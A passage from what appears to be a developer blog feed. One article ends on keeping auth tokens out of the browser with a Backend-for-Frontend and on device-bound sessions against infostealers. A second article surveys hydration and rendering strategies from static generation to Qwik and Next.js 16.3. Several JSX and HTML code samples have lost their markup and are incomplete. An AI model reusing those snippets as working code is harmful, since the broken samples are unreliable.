// detected reuse and burned the chain. Either way, the session is over.
if (!res.ok) throw new Error('refresh failed');
return res.json();
})
.then((data) => {
accessToken = data.token;
return data. token;
})
.finally(() => {
refreshing = null; // clear it so the next expiry can refresh again
});
}
return refreshing;
}
async function api(path: string, options: RequestInit = {}) {
const send = (token: string | null) =>
fetch(path, {
...options,
headers: { ...options.headers, Authorization: `Bearer ${token}` },
});
let res = await send(accessToken);
if (res.status === 401) {
try {
const fresh = await refreshAccessToken(); // five callers, one refresh
res = await send(fresh);
} catch {
// Refresh failed. Send them to log in, and don't let callers process the
// 401 in the meantime: return a promise that never resolves while the
// browser navigates away.
accessToken = null;
window.location.href = '/login';
return new Promise(() => {});
}
}
return res;
}
```
Five 401s now share one refresh and one rotation, with no false alarms.
## Can we make it more secure?
The IETF's OAuth working group maintains a document, "OAuth 2.0 for Browser-Based Applications," that ranks the possible architectures from most to least secure.
At the top sits this pattern: The browser should hold **no** OAuth tokens. Not in memory, nor in a cookie.
The pattern is Backend for Frontend, BFF. You put a thin server between your SPA and everything else, and that server does all the token handling on the frontend's behalf.
Your SPA holds exactly one thing: a boring httpOnly session cookie pointing at the BFF. It never sees a token in its life.
Let's see how it works.
Your dashboard needs the user's orders, so it calls `/api/orders` on the BFF, and the browser automatically attaches the session cookie, as it does with everything.
That cookie is not a token. It's a coat-check ticket, a random string that means nothing to anyone who steals it.
The BFF catches that request and does the one job it exists for. It reads the session ID off the cookie, looks it up in its own store, and finds the real access token sitting there, the token that never left the server.
It attaches that token as a bearer header, forwards the request to the actual API, waits for the orders to come back, and pipes them down to your browser.
Your frontend got its orders.
From the browser's side, it asked a friendly server for data and got data, and every credential that made that happen stayed on the far side of a wall JavaScript can't reach.
The whole proxy is about fifteen lines:
```ts
// The BFF. The browser only ever talks to this, never to the real API.
app.all('/api/*splat', async (req, res) => {
// 1. The browser sent a session cookie, not a token.
const sessionId = req.cookies['__Host-session'];
const session = sessionId ? await sessions.get(sessionId) : null;
if (!session) return res.status(401).json({ error: 'not logged in' });
// 2. Swap the cookie for the real access token, which never left this server.
let accessToken = session.accessToken;
// 3. If it has expired, refresh the server-to-server connection before forwarding. If the refresh
// itself fails (token expired or revoked at the provider), the session is
// over: kill it and make the browser log in again.
if (Date.now() >= session.expiresAt) {
try {
const refreshed = await refreshWithProvider(session.refreshToken);
accessToken = refreshed.accessToken;
await sessions.update(sessionId, refreshed); // rotate + store the new pair
} catch {
await sessions.delete(sessionId);
return res.status(401).json({ error: 'session expired' });
}
}
// 4. Forward the real API request with the bearer token that the browser never sees.
// originalUrl keeps the query string; req.path would drop ?page=2.
const upstream = await fetch(`https://api.example.com${req.originalUrl.replace('/api', '')}`, {
method: req.method,
headers: {
Authorization: `Bearer ${accessToken}`,
'Content-Type': req.get('Content-Type') ?? 'application/json',
},
body: ['GET', 'HEAD'].includes(req.method) ? undefined : JSON.stringify(req.body),
});
// Pass the status through. A 204 or other empty body has nothing to parse,
// so guard the json() call or it throws.
res.status(upstream.status);
const text = await upstream.text();
return text ? res.type('json').send(text) : res.end();
});
```
The token lives in `session.accessToken`, which is a server-side value in your session store. It is never in the response to the browser, never in a cookie the browser can read, never in a variable any client script can reach.
After the OAuth provider redirects back with a code, the BFF (a confidential client, so it holds a real secret) exchanges that code for tokens and stores them against a fresh session, handing the browser nothing but a cookie:
```ts
// The OAuth callback. Runs once, at login.
app.get('/auth/callback', async (req, res) => {
//Replace the code with tokens. This call carries the client secret,
// which is why it has to happen on a server and not in the browser.
const tokens = await exchangeCodeForTokens(req.query.code, CLIENT_SECRET);
// Store the tokens server-side, keyed by a new random session ID.
const sessionId = crypto.randomBytes(32).toString('hex');
await sessions.create(sessionId, {
userId: tokens.userId,
accessToken: tokens.access_token,
refreshToken: tokens.refresh_token,
expiresAt: Date.now() + tokens.expires_in * 1000,
});
// The browser leaves with a cookie and nothing else.
res.cookie('__Host-session', sessionId, {
httpOnly: true, secure: true, sameSite: 'lax', path: '/',
});
res.redirect('/');
});
```
When the access token expires, the refresh in step 3 runs server-to-server, with rotation and reuse detection, and your frontend never knows it happened.
The OAuth login itself even gets stronger. OAuth splits apps into two categories: those that can safely hold a secret key and those that can't.
A browser can't; anything you ship to it, users can read, so an SPA is a "public client" and has to use weaker flows.
A server can keep a secret, so the BFF is a "confidential client" and gets the stronger flow. Moving OAuth handling to the BFF upgrades your app from the weak to the strong category.
This is the strongly recommended architecture for business applications, sensitive applications, and any application that touches personal data.
Remember that if you use a BFF, you still have the CSRF problem from before, and make sure you guard against it with the three guardrails.
The cost for this security is *latency* and extra infrastructure costs.
You run a server now. Every API call takes two hops. The BFF scales with your traffic.
## The NEW threat
Everything above is about a browser being tricked, an attacker's script running in your page, and either stealing a credential or riding a session.
And every fix, memory, httpOnly, BFF, is aimed at that.
There's a second threat that walks straight past all of it, and in 2026, it's the one actually emptying accounts: infostealer malware.
This is a program running on the user's own computer, entirely outside the browser's rules.
It doesn't need XSS. It doesn't care about `HttpOnly`. It reads Chrome's cookie database off the disk, decrypts it, and copies your session cookie wholesale. `HttpOnly` only blocks *JavaScript* from reading the cookie.
It does nothing to prevent a native process from reading the file.
The attacker imports your cookie into their own browser, giving them access to your live session. This is a "pass-the-cookie" attack, and infostealer logs full of live session cookies are a booming market: one 2026 report counted 51.7 million infostealer log packages in 2025, up 72% year over year.
Here's the uncomfortable part: a perfectly implemented BFF, httpOnly, SameSite, rotation, the whole stack, does not stop this.
The stolen cookie is a valid bearer credential, and your server has no way to tell the attacker's browser from the user's.
But there is a solution: **binding the session to the device.**
Google shipped Device Bound Session Credentials (DBSC) to general availability in Chrome 146 on Windows in April 2026.
At login, the browser generates a private key in a dedicated security chip on the machine (a TPM, the same hardware that backs Windows Hello and disk encryption), and that key cannot be physically copied out of the chip.
The session cookie is short-lived, and to refresh it, the browser has to sign a challenge from the server using that sealed key, roughly every few minutes.
Now the stolen cookie rots almost immediately. Within minutes, it expires, and the attacker can't refresh it, because refreshing demands a signature from a key sealed in hardware they don't have. The cookie they copied becomes a useless string.
It's Chrome on Windows first, with macOS via the Secure Enclave rolling out behind it, and other browsers still deciding.
It needs server-side support to actually work. And if the malware is already on the machine *at login time*, it may be able to interfere with registration.
If you are building anything very, very sensitive, start reading the DBSC docs now.
## The end
TLDR: **put the session in an httpOnly, server-backed cookie, and the moment third-party tokens enter the picture, move those tokens behind a BFF so the browser never holds them.**
You're welcome.
## References
- [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) - IETF draft ranking BFF, token-mediating backend, and browser-only patterns in decreasing order of security
- [RFC 9700: Best Current Practice for OAuth 2.0 Security](https://www.rfc-editor.org/rfc/rfc9700) - the January 2025 security BCP, including refresh-token rotation and PKCE requirements
- [RFC 6749: The OAuth 2.0 Authorization Framework](https://www.rfc-editor.org/rfc/rfc6749) - the original spec, and where the public vs confidential client split is defined
- [The Backend for Frontend Pattern](https://auth0.com/blog/the-backend-for-frontend-pattern-bff/) - Auth0, on the BFF as a confidential client and the cookie caveats
- [BFF Security Framework](https://docs.duendesoftware.com/bff/) - Duende, on why in-browser token storage is no longer recommended and the custom-header CSRF trick
- [The Token Handler Pattern](https://curity.io/resources/learn/the-token-handler-pattern/) - Curity, on first-party cookies and same-site BFF hosting
- [Refresh Token Rotation](https://auth0.com/docs/secure/tokens/refresh-tokens/refresh-token-rotation) - Auth0 docs on rotation and automatic reuse detection
- [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession (DPoP)](https://www.rfc-editor.org/rfc/rfc9449.html) - sender-constrained tokens bound to a non-extractable browser key, for the no-server case
- [Device Bound Session Credentials](https://developer.chrome.com/docs/web-platform/device-bound-session-credentials) - Chrome's DBSC integration guide, the defense against pass-the-cookie
- [Please Don't Use JSON Web Tokens for Browser Sessions](https://ianlondon.github.io/posts/dont-use-jwts-for-sessions/) - Ian London, on revocation and the stateless myth
- [Stop using JWTs](https://gist.github.com/samsch/0d1f3d3b4745d778f78b230cf6061452) - samsch, the long-running case for sessions over JWTs
- [Cross-Site Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) - OWASP, on why the token is primary, and SameSite is defense in depth
- [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) - OWASP, on session ID handling, cookie prefixes, and fixation
- [Testing for Cookie Attributes](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) - OWASP WSTG, on the `__Host-` prefix as the most secure cookie configuration
- [MDN: Using HTTP cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies) - the HttpOnly, Secure, and SameSite attributes
- [MDN: Sec-Fetch-Site](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Sec-Fetch-Site) - the fetch-metadata header servers can check for CSRF defense
- [MDN: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) - the nonce-based script allowlist that reduces how often XSS runs at all
- [MDN: BroadcastChannel](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel) - the same-origin cross-tab messaging API used to coordinate refresh
---
## Different hydration and rendering strategies
URL: https://neciudan.dev/hydration-and-rendering-strategies
Published: 2026-06-28
Dont worry, this article is not about the controversial Hydration breaks they are having during the World Cup matches.
We want to discuss the hydration process in Server-Side Rendered applications, how other frameworks handle it, and similar rendering strategies that we apply to make our apps faster.
First, open a server-rendered page on a slow phone.
The content paints almost instantly and looks finished. But tapping a button does nothing for 1 or 2 seconds.
During that time, the page quietly downloads and runs JavaScript to rebuild everything you're already looking at.
That gap between a page that "looks ready" (HTML is shown) and one that "actually works" (interactive via JavaScript) is called hydration.
Every recent rendering strategy aims to shrink that gap.
## Static generation
Before reducing hydration, let's look at the alternatives.
For many websites, the best approach is to render HTML once, ahead of time, rather than on every request.
If the page is the same for everyone—a blog post, a docs page, a marketing landing page, you are regenerating identical HTML thousands of times.
Static Site Generation (SSG) renders each page once at build time, writes the result to an HTML file, and serves that file from a CDN.
The server does nothing per request except hand over a file.
```tsx
// Next.js: this runs at BUILD time, not on each request.
export async function getStaticProps() {
const posts = await loadPostsFromCMS();
return { props: { posts } };
}
```
The obvious limit is freshness.
If the HTML was built an hour ago, it's an hour stale. For a blog that's fine; for a product page with live pricing, it isn't.
And the build itself becomes the bottleneck at scale: fifty blog posts can be built in seconds, but a hundred thousand product pages can take hours, and every content change means a rebuild.
That freshness problem is what Incremental Static Regeneration (ISR) solves.
You serve the static page as before, but you tell the framework to regenerate it in the background after a set interval, or on demand when the content actually changes.
```tsx
export async function getStaticProps() {
const posts = await loadPostsFromCMS();
// Serve the cached page, rebuild it at most once every 60s.
return { props: { posts }, revalidate: 60 };
}
```
The first visitor after the interval triggers a quiet rebuild; everyone keeps seeing the last good version until the new one is ready.
You get static delivery speed with content that's never more than a minute or two stale.
One more variation you'll see is edge rendering.
This isn't a different hydration model; it's SSR or ISR physically moved closer to the user, running on CDN edge servers scattered around the world rather than a single origin server.
You do this to reduce latency: your dynamic HTML is generated a few milliseconds from the visitor rather than a continent away, with the trade-off that edge runtimes are more constrained in what they can do (limited Node APIs, tighter time and memory budgets).
This method is perfect for static content, but what if our content is dynamic?
## Client-side rendering
The simplest approach is to avoid rendering initial HTML on the server.
The server sends an almost empty HTML shell. This is just the basic structure of an HTML page, with a reserved section for your app, such as a '' element, and a script tag that points to your JavaScript code.
The browser then downloads the bundle, which combines all your app's code into a single file, runs your app, fetches any required data, and builds the entire user interface (UI) in the browser.
There's no hydration here because there's nothing to hydrate: the DOM (Document Object Model—the browser's representation of a web page's structure and content) was never server-rendered; it was constructed on the client from nothing.
React just builds and attaches in one pass.
```tsx
import { createRoot } from 'react-dom/client';
import App from './App';
createRoot(document.getElementById('root')).render();
```
We call these apps Single Page Applications or SPA for short.
The main benefit of these apps is simplicity. You only think about the browser.
The downside is speed.
Picture a first-time visitor on a mid-range Android phone, using hotel Wi-Fi to tap your link. **They get a blank white screen**.
That screen stays while the bundle downloads, then parses, and then executes.
Next, it waits as it fetches the page's data. Only after all that does anything work.
On your laptop with strong WIFI, you might not notice.
On that phone, it's long enough for some visitors to close the tab before your app draws a single pixel.
Search engines hit the same wall. The Google bot crawler, requests your page and receives an empty
, which may also have significant SEO implications.
That's why you want content in the initial HTML, and for that, we need the server.
## Server-side rendering
We render HTML on the server, send it to the browser, and have the browser hydrate it into a React app.
The user gets real content instantly, solving both CSR issues. The page isn't blank while JavaScript loads, and the crawler sees content.
```tsx
import { renderToString } from 'react-dom/server';
import App from './App';
const html = renderToString();
// send `html` wrapped in your document shell
```
On the client:
```tsx
import { hydrateRoot } from 'react-dom/client';
hydrateRoot(document.getElementById('root'), );
```
This is ideal for content that must rank and be interactive, such as news sites, blogs, marketing pages with signup forms, or product pages that need strong SEO content.
The downside: we repeat work.
The server renders HTML; the client downloads React, rerenders, and compares the new HTML to the existing HTML. Until this second pass finishes, nothing on the page is interactive.
Traditional hydration runs top to bottom through the tree. If a heavy Comments section is near the top and the LikeButton below, hydration does comments first.
The like button stays dead until hydration is done.
There is also a big problem: hydration mismatches.
If server HTML and client HTML differ in any way, React detects it.
In the worst case, it discards server HTML and re-renders on the client, recreating the blank-screen problem that SSR tries to solve, rendering all the benefits of SSR useless.
Common causes are unassuming code:
```tsx
// Renders a different value on the server than in the browser:
{new Date().toLocaleTimeString()}
// Reads a browser-only API that doesn't exist on the server:
{window.innerWidth > 768 ? 'desktop' : 'mobile'}
```
Both look harmless but produce different server and client outputs, triggering hydration warnings.
If the difference is intentional, like a timestamp, React offers an escape: add suppressHydrationWarning, and React won't warn for that node.
## Streaming SSR: send the page in pieces
The first improvement keeps hydration but stops making the user wait for the slowest part of the page before anything shows up.
Instead of rendering the whole tree to a string and sending it once it's complete, the server streams HTML in chunks as each part becomes ready.
The tool for this is `Suspense`, a wrapper you put around a slow section that tells React, "show this fallback until everything inside is ready."
```tsx
import { Suspense } from 'react';
function ProductPage() {
return (
}>
);
}
```
The `ProductDetails` component renders immediately.
The `Reviews` component, which might be waiting on a slow query, shows a skeleton, and the real reviews stream in when the data is ready.
The user reads the product while the reviews are still loading.
React no longer has to hydrate top-to-bottom. Each `Suspense` boundary becomes an independent unit that can hydrate on its own, and React prioritizes based on the user's current activity.
Click a button in a section that hasn't hydrated yet, and React rushes hydration of that boundary so the handler can run, ahead of the boundaries you're not touching.
The main benefit of this method is that perceived load time no longer ties to your slowest component.
Go back to that product page. Without streaming, a three-second recommendations query means three seconds before anyone sees the product.
But it's not perfect: Streaming changes the order and timing of the work, not the amount.
Every interactive component on that page still gets downloaded and re-executed on the client; you've made the page feel faster without shipping a single byte less JavaScript.
It also hands you a new way to make things worse if you wrap too much of the page in one `Suspense`, and a single slow child holds that whole region back:
```tsx
// One boundary around everything: the fast summary now waits
// on the slow chart, because they share a fallback.
}>
{/* fast */}
{/* slow */}
// Separate boundaries: the summary streams in immediately,
//The chart arrives on its own schedule.
}>
```
There's also another method you'll see in several frameworks: progressive hydration.
Rather than hydrate every boundary as soon as its code arrives, you defer a component until there's a reason to wake it up, when it scrolls into view, or when the user first interacts with it.
A footer newsletter form three screens down doesn't need to hydrate during initial load; it can wait until you scroll near it.
This still hydrates everything eventually, like streaming, but it spreads the work across time and skips parts the user never reaches.
## Islands: hydrate only the interactive parts
Most of a typical web page isn't interactive at all.
A blog post is text, headings, and images, with maybe a comment widget and a newsletter form.
A docs page is almost entirely static with a search box. Why ship and hydrate a JavaScript runtime for the 95% that's just sitting there as content?
Islands do this in reverse to SSR: The page is static HTML, and you explicitly mark the parts that need to come alive.
Each interactive region is an "island" in a sea of static markup, and each hydrates independently, loading only its own JavaScript.
Astro is the framework that popularized this, and it makes the model concrete with directives.
By default, a component renders to static HTML and ships zero JavaScript. You opt into interactivity per-component:
```astro
---
import Header from '../components/Header.astro';
import Newsletter from '../components/Newsletter.tsx';
import Comments from '../components/Comments.tsx';
---
My post
This is just text. It ships as HTML, no JavaScript.
```
That `client:visible` is a loading contract, and it's the progressive hydration idea from earlier.
It tells Astro to render the component to static HTML first, then hydrate it only when it scrolls into view.
The directives cover the common cases: `client:load` hydrates immediately for above-the-fold interactivity, `client:idle` waits until the browser is idle, `client:visible` waits until the component enters the viewport, and `client:only` skips server rendering entirely for components that depend on browser-only APIs.
Islands take progressive hydration and add the crucial second half: the parts you never mark stay static forever and ship no JavaScript at all.
If the user never scrolls to the comments, the comment widget's JavaScript never loads.
This fits content-heavy sites almost perfectly.
Blogs, documentation, marketing pages, news, and e-commerce category pages. Anywhere the page is mostly content with islands of interactivity rather than the other way around.
The framework built around this, Astro, ranked highest in the meta-framework satisfaction category of the State of JS 2025 survey, and Cloudflare acquired it in January 2026. (And if you haven't read my previous articles, this blog is also using Astro, [checkout my previous article where I upgraded to Astro 6](https://neciudan.dev/astro-upgrade-from-3-to-6) and took advantage of all the cool benefits)
The practical result is that you land a Lighthouse score in the 90s without doing anything clever, because there's barely any main-thread work for the browser to do.
And since each island is self-contained, you're not even locked to one framework; you can drop a React island next to a Svelte one on the same page.
There's a server-side version of the same idea. Astro's `server:defer` turns a component into a server island: the static shell ships immediately and is aggressively cached, while a personalized piece, such as a signed-in user's avatar or cart, renders per-request on the server and slots in without holding up the rest of the page.
You get to cache the 95%, that's the same for everyone, and still serve the 5% that isn't.
But islands assume a mostly static page with sprinkles of interactivity, and they're wonderful until that assumption breaks.
Imagine trying to build Figma, or a trading terminal, or any app where nearly everything on screen is interactive, and pieces share state across the whole layout.
You'd be marking the entire page as one giant island, threading shared state between islands that were designed to be isolated, and fighting the architecture the whole way.
At that point, you've reinvented SSR with extra steps.
So islands win when interactivity is the exception. For an app where interactivity is the rule, you need a different weapon.
## React Server Components: don't send the component to the client
A Server Component runs only on the server, which means its code is never sent to the browser.
It can hit the database directly, read the filesystem, use secrets, and what it ships to the client isn't JavaScript; it's a serialized description of the UI it produced, in a format React calls Flight.
There are now two streams in play: the HTML stream from the streaming section, which is the markup the browser paints, and this Flight stream, which is a serialized component tree the client reconstructs.
RSC uses both. There's nothing to hydrate for the server parts because there's no component code on the client to re-execute.
Components are server-only and weightless on the client. Components marked `"use client"` ship JavaScript and hydrate.
```tsx
// Server Component, runs on the server, ships no JS
async function ProductPage({ id }) {
const product = await db.product.findUnique({ where: { id } });
return (
{product.name}
{product.description}
);
}
```
```tsx
'use client';
// Client Component, this is the part that ships JS and hydrates
function AddToCartButton({ productId }) {
const [adding, setAdding] = useState(false);
// ...
}
```
The product name and description are server-rendered and never become JavaScript on the client.
Only `AddToCartButton` is visible in the browser.
This is the model Next.js is built around now, and it supports full applications that also include a lot of server-generated, non-interactive content.
The main benefit is that you stop shipping code that the browser will never use.
In that example, your database call and the markup it produces stay on the server; the only JavaScript that reaches the user is `AddToCartButton`.
You also get to query the database right inside the component, no `/api/products/:id` route to build, no `fetch` to wire up, no loading state to manage by hand.
Layer streaming and selective hydration on top, which RSC does for free, and you get a fast first paint, a small bundle, and direct data access in one model.
React 19.2 sharpened the tools in this area. Partial Pre-Rendering lets you render a static shell at build time, cache it at the CDN edge, and stream the dynamic holes per-request, so a single page can be mostly statically cached with a personalized slot or two.
Suspense reveals are batched to match client behavior, and hydration mismatch errors finally name the component that caused them instead of leaving you a cryptic warning.
Although the line between server and client isn't free, and one `"use client"` in the wrong place quietly drags a whole subtree into the browser bundle.
Like this:
```tsx
'use client';
import { HeavyChart } from './HeavyChart'; // also becomes client code
```
You added `"use client"` for a single button, and because a client file pulls its imports into the client graph with it, a heavy chart you meant to keep on the server is now in your bundle. "use client creep" is a real failure mode in production codebases.
On top of that, RSC ties you to a framework and a server runtime that uses them; it isn't something you sprinkle onto a plain SPA you already have.
Also, moving rendering to the server increases your attack surface there, too.
Server Components execute on the server, serialize a payload, and the client deserializes it; each of those steps now runs in a privileged place with access to your database and secrets.
And in late 2025, a serious RSC deserialization vulnerability (CVE-2025-55182) was found being actively exploited and had to be patched across several React and Next.js versions.
Doing this on the server could have a lot of security holes you need to keep an eye on.
## TanStack Start: the same primitive, ownership flipped
The Next.js model is server-first.
TanStack Start inverts that. The client stays in charge, and RSCs are demoted from a paradigm to a data type.
The idea is that an RSC payload is just a stream. Specifically, a React Flight stream is the serialized description of UI that the server produced.
TanStack Start treats it as exactly that: bytes you fetch over HTTP, on the client's terms, whenever you want them, rather than a server-owned tree the framework hands you by default.
You create the server-rendered UI in a server function and load it via a route loader.
Nothing gets marked `"use client"` to opt *out* of the server; you opt *in* to the server only where you want it.
```tsx
import { createServerFn } from '@tanstack/react-start';
import { renderServerComponent } from '@tanstack/react-start/rsc';
function Greeting() {
return
Hello from the server
;
}
const getGreeting = createServerFn().handler(async () => {
return { Greeting: await renderServerComponent() };
});
```
Because the payload is just data, it drops into the caching tools you already use. There's no special "RSC mode."
Wrap the server function in a TanStack Query call, and the RSC payload gets cache keys, `staleTime`, and background refetching like any other query.
For static content, set `staleTime: Infinity` and you're done.
```tsx
function Greeting() {
const query = useQuery({
queryKey: ['greeting'],
queryFn: async () => createFromReadableStream(await getGreeting()),
});
return <>{query.data}>;
}
```
It's a different answer to the exact same question RSC asks: how do you avoid shipping component code that didn't need the browser?
Next.js answers at the framework level, server-first, all-in.
TanStack Start answers at the data level, is client-first, and is opt-in.
This fits a situation the server-first model handles badly: an existing client-side app, an admin portal or a SaaS dashboard, that wants to move *some* heavy rendering to the server without rewriting its architecture around a new paradigm.
Markdown parsing, syntax highlighting, a search index, anything heavy and static you'd rather not ship.
You sprinkle in RSCs where they pay off and leave the rest of the SPA alone.
When TanStack migrated the content-heavy parts of their own docs site to this, blog, and docs pages, each dropped around 153 KB gzipped from the client JS graph, and Total Blocking Time fell from about 1,200ms to 260ms.
You don't have to rewrite your app to try RSCs, but you have to do a lot of the wiring up yourself.
The server-first model's all-in nature is also what makes streaming, boundaries, and colocated server work feel built in; when you opt into each piece by hand, you own the composition that Next.js provides out of the box.
And TanStack Start is younger, with its RSC support still stabilizing toward 1.0, so for a large production app, you're taking on a less settled bet than Next.js in exchange for that flexibility.
RSC shrinks the hydration surface to the interactive leaves, no matter how you slice ownership.
But those leaves still hydrate. They still download, re-execute, and rebuild their slice of the tree on the client.
The remaining question is whether even that is necessary, and there are two different answers.
## Fine-grained reactivity: hydrate once, then never re-render
React is coarse-grained. When the state changes, the component that owns it reruns, and React walks down from there, diffing the virtual DOM to figure out what actually changed in the real one.
Hydration is expensive partly because it's this same re-render machinery running for the first time across the whole tree.
SolidJS and Svelte do things differently.
There's no virtual DOM and no re-rendering. A component runs once to set up a reactive graph, wiring each piece of state directly to the specific DOM node it controls.
When a state changes, the framework updates that one text node or attribute.
```tsx
import { createSignal } from 'solid-js';
function Counter() {
const [count, setCount] = createSignal(0);
// This function body runs ONCE. The signal is wired.
// straight to the text node below.
return ;
}
```
That `Counter` function executes only once, during setup. Clicking the button updates the count signal, which updates exactly one text node.
The component never runs again.
Because there's no re-render machinery, hydration is dramatically cheaper. Solid still incurs a setup cost to wire the reactive graph to the server-rendered DOM, but it's not re-executing and diffing the whole component tree, so the work is a fraction of what React does during hydration.
Svelte 5 sits in the same territory: its runes system (`$state`, `$derived`) moved Svelte to a signal-based, fine-grained reactivity model, close to Solid's, and State of JS 2025 credited exactly that change as the year's standout in developer experience.
The newest face in this family is Ripple, an experiment from Dominic Gannaway (who worked on React Hooks at Meta and was on Svelte 5's core team).
It's a TypeScript-first compiled language with the same no-virtual-DOM, surgical-update model, reactivity built on a `track()` primitive.
These frameworks fit performance-critical interactive UIs where things update constantly.
Real-time dashboards with hundreds of live data points, trading interfaces, data grids, and animation-heavy apps targeting a steady 60fps.
Anywhere React's re-render-and-diff cost compounds across every update on a busy screen.
Of course, React's download numbers dwarf all of these new frameworks, and that gap is libraries, AI advice and help, and the odds that your next hire already knows the framework.
The meta-frameworks are less settled, too: SvelteKit is solidly production-ready, while SolidStart hit 1.0 but is still filling in deployment adapters and documented patterns, so you'll more often be the first person to hit a given edge case.
And the mental model differs from React:
```tsx
// React: this function re-runs on every render, so it's expensive`
// is recomputed each time.
function Row({ value }) {
const expensive = computeStuff(value);
return
{expensive}
;
}
// Solid: this function runs ONCE. If you write it the React way,
// `expensive` is computed a single time and then never updates
// when `value` changes. You have to reach for a derived signal instead.
```
The code looks like React. It does not behave like React.
Fine-grained reactivity makes hydration cheap. But it still hydrates; there's still a setup pass that runs on the client to connect the graph to the DOM before anything is interactive.
The last strategy asks whether you can skip even that.
## Resumability: don't hydrate at all
The final move is the strange one, and it needed a new word because it isn't a faster hydration. It's the absence of hydration.
Every strategy so far, even the leanest island, shares one assumption: the client has to execute *some* JavaScript to make the server-rendered HTML interactive.
Re-run the components, or at least run a setup pass to wire up the reactive graph.
Qwik's argument is that throwing the work away is the actual mistake. Instead of serializing only the HTML and reconstructing everything else on the client, serialize the entire framework's execution state, component boundaries, event listener locations, and the reactivity graph directly into the HTML.
The client doesn't rebuild anything. It picks up exactly where the server paused.
The mechanism is visible in the markup. Event handlers aren't attached during a startup pass; their locations are serialized as attributes pointing at lazy-loadable chunks:
```html
```
The only thing that runs on boot is a tiny script called the Qwikloader, a fraction of a kilobyte, which registers one global event listener and does nothing else until you interact.
When the user clicks that button, and only then, the Qwikloader resolves the attribute, downloads the specific handler chunk, rehydrates just the state that handler needs, and runs it.
The code for a given interaction loads when the interaction occurs, not before.
But serializing execution state into the HTML imposes limits on what can be serialized, and those limits constrain how you can write components; you can't just stuff anything into a closure and expect it to resume.
Loading code per interaction also means more small requests rather than one big upfront bundle, which speculative prefetching and HTTP/2 are designed to hide, but it's a different performance profile you'll need to reason about and tune rather than ignore.
And Qwik is the one framework built entirely around this idea, making it the newest and least battle-tested option in this article, with the smallest ecosystem to lean on.
There's also a case where the payoff simply isn't there.
If you're building a video editor or a live dashboard, the user interacts with almost everything almost immediately, so you end up loading most of the code in the first few seconds anyway.
Resumability's advantage is deferring code the user might never reach; when they reach all of it, you've taken on the complexity and gotten little of the benefit.
## Next.js 16.3: closing the last gap with instant navigations
Everything so far has been about the first load: how fast the page paints, how much it costs to make it interactive.
But there's a second moment that decides whether an app feels like an app, and it's the one server-driven models have always been worst at: what happens when you click a link to the next page.
In a classic server-driven app, that click means a network round-trip.
You click, nothing happens, the server responds, and the next page appears.
For a blog that's acceptable. For anything that feels like software, that pause is exactly what makes people say server apps feel "like a website" rather than an app.
A client-driven SPA hides the pause: you click, you instantly see a shell of the next page with data still loading, then the rest fills in.
That instant shell is most of why people reach for SPAs even when the server model would serve them better everywhere else.
Next.js 16.3 aims to give the server model the same instant-shell feel, and the way it gets there ties together two things already in this article: Partial Pre-Rendering and the Flight payload that RSC streams to the client.
The whole feature is currently gated behind one flag:
```ts
// next.config.ts
const nextConfig = {
cacheComponents: true,
};
```
Turning on Cache Components changes the rendering model.
Every route is dynamic by default, with no implicit caching, and PPR becomes the default rather than an experimental per-route opt-in.
From there, whenever a route `awaits ' data on the server, you're making one of three choices about that piece of the page.
You can stream it by wrapping the slow part in ``, and the user instantly sees the static shell with a loading state where that part will go.
You can cache it by marking the work with `use cache`, and the user instantly sees a previously cached version of that UI, reused across requests.
```tsx
async function ProductList() {
'use cache';
cacheLife('hours');
const products = await getProducts();
return ;
}
```
Either of those makes the navigation feel instant, because nothing the user is waiting on blocks the shell.
The third choice is to block on purpose. Some routes shouldn't show a loading shell, a blog post that should arrive whole rather than skeleton-first, and you opt that route out explicitly:
```tsx
// page.tsx
export const instant = false;
```
Next.js 16.3 also brings a new trick: rather than prefetching a page per link, it prefetches one reusable shell per route and caches it on the client for the session.
Twenty links to `/chat/[id]` now prefetch a single `/chat/[id]` shell, the same way a SPA ships one piece of per-route code and reuses it for every item.
You can enable it alongside Cache Components:
```ts
// next.config.ts
const nextConfig = {
cacheComponents: true,
partialPrefetching: true,
};
```
That shell is the static, cacheable part of the route, the part PPR already knows how to pre-render.
So the two flags are really one idea seen from two ends: PPR decides what part of a route is a static shell, and Partial Prefetching ships exactly that shell to the client ahead of the click.
Because the shell serves as the baseline, prefetching is no longer an all-or-nothing proposition.
If you want a particular link to arrive with more than the bare shell, a chat header that should pop in immediately, you opt that link into deeper prefetching, and Next.js renders down to whatever is synchronous or marked `'use cache'`:
```tsx
{title}
```
This fits exactly the kind of app the server model used to feel wrong for: dashboards, chat apps, anything with a dense sidebar of links where every click used to mean a visible pause.
Vercel has been running it on v0, where rich client features made navigation feel sluggish, and used the new dev-time insights to hunt down the routes that weren't navigating instantly.
You get the SPA's instant-click feel without giving up the server-centric model, the small client bundle, the direct data access, the crawlable first load, all the things the RSC section was about.
The problem is that "instant" stops being free and becomes something you maintain.
Every dynamic piece of every route is now a Stream/Cache/Block decision you have to make and keep correct as the app changes; a refactor that moves a `cookies()` read out of its `` boundary quietly turns an instant route into a blocking one.
Next.js leans on tooling to hold the line here, the dev-time error, a Navigation Inspector that pauses navigations at the shell so you can see what's prefetched, and an `instant()` Playwright helper that asserts what must be visible before the network responds:
```ts
import { instant } from '@next/playwright';
test('next page shell is instant', async ({ page }) => {
await page.goto('/products/shoes');
await instant(page, async () => {
await page.click('a[href="/products/hats"]');
await expect(page.locator('h1')).toContainText('Baseball Cap');
});
});
```
It's also preview-only and flag-gated as of mid-2026, with both `cacheComponents` and `partialPrefetching` planned to become defaults in a future major version.
## How to actually choose
The only thing that matters is how much client-side work happens between "HTML painted" and "page interactive."
For most people most of the time, the honest answer is boring.
If you're building a content site, reach for static generation and islands; Astro will give you near-perfect performance with almost no effort.
If you're building an app, React with Server Components on a framework like Next.js will carry you a very long way, and the streaming and selective-hydration machinery comes along for free.
